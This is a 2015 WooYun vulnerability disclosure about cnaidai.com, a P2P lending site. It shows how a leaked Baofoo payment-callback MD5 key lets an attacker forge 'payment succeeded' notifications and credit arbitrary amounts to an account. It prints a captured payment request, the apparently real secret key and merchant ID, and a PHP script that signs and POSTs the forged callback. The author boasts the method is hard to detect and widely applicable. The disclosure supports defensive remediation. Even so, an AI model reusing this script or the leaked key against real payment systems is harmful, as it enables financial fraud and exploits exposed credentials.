当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104034

漏洞标题:爱贷网高隐匿任意金额充值实战¥0成本从充值到提现全过程回放

相关厂商:cnaidai.com

漏洞作者: 秋风

提交时间:2015-03-30 13:33

修复时间:2015-05-14 17:54

公开时间:2015-05-14 17:54

漏洞类型:重要敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商已经确认,细节仅向厂商公开
2015-04-09: 细节向核心白帽子及相关领域专家公开
2015-04-19: 细节向普通白帽子公开
2015-04-29: 细节向实习白帽子公开
2015-05-14: 细节向公众公开

简要描述:

一步两步一步两步
一步一步似爪牙
似魔鬼的步伐
摩擦 摩擦
在这光滑的地上摩擦
摩擦似魔鬼的步伐
似魔鬼的步伐

详细说明:

一直想指出这个问题,终于找到实战案例了,该方案理论上适合目前所有的第三方支付接口!
理论上利用该方法刷适当的资金,被发现可能性非常非常小。
接触过一些P2P公司,发现大多数厂商都不会拿自家的订单号跟第三方的订单进行一一校对,所以标题使用了“高隐匿”做修饰。
测试订单号:B8574120150326181817
来看看宝付的《网银支付(借贷分离版)v3.1》交易签名具体算法 Md5Sign = MerchantID + TransID + Result + resultDesc + factMoney + additionalInfo + SuccTime + md5key;
其中除了md5key参数没有具体来源,其他参数均可通过充值时抓包获得,很不幸,无意间这个私密key被俺发现了= = 、、、

客户端抓包记录:
URL:http://paygate.baofoo.com/PayReceive/bankpay.aspx
POST:
MerchantID:116745
PayID:1000
TradeDate:20150326181817
TransID:B8574120150326181817
OrderMoney:10000.0
ProductName:
Amount:1
ProductLogo:
Username:
Email:
Mobile:
AdditionalInfo:
Merchant_url:http://www.cnaidai.com/public/baofoopay.html
Return_url:http://www.cnaidai.com/public/baofoopay.html
Md5Sign:F58C39C60D5A498586A17439ABB353ED
NoticeType:1


模拟第三方支付向服务器发包:
<?php
// 必要修改的参数,其中密钥最重要,其他参数可通过抓充值表单数据包正常获取
$md5_key = "xvaf66u95el7d43e"; // md5密钥(KEY)
$member_id = "116745"; //商户号
$trans_id = "B8574120150326181817"; // 订单编号
$ReturnUrl = "http://www.cnaidai.com/public/baofoopay.html";
$amount = 100;
// TODO:以下代码不必修改
$result = "1";
$result_desc = "01";
$amount = intval($amount) * 100; // 充值金额
$md5_sign = md5($member_id . $trans_id . $result . $result_desc . $amount . $additional_info . $succ_time . $md5_key);
$additional_info = "";
$succ_time = "";
$data = "MerchantID={$member_id}&TransID={$orderid}&Result={$result}&resultDesc={$result_desc}&factMoney={$amount}&additionalInfo={$additional_info}&SuccTime={$succ_time}&Md5Sign={$md5_sign}";
post($ReturnUrl, $data);
function post($url, $data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_exec($ch);
curl_close($ch);
}


文中提到的第三方支付参考文档:
http://z.download.csdn.net/detail/bigamer/7081105
提现我就不测了,我就刷了100块钱到账户,订单编号是B8574120150326181817,你们把相应的金额扣除掉吧!

漏洞证明:

QQ图片20150326211911.png


QQ图片20150326211644.png


最后说以下私密泄漏来源,最近翻了一下总表记录大于1G的弱密码库,顺便就把你们家翻出来了,这台服务器是你们家的开发环境还是?详看截图!

QQ图片20150326212157.png


QQ图片20150326213610.png

修复方案:

1.3306端口不对外开放
2.记录第三方回调时的ip
3.修改所有第三方支付的相关私密key

版权声明:转载请注明来源 秋风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-03-30 17:52

厂商回复:

感谢您的反馈!技术已经处理中。

最新状态:

暂无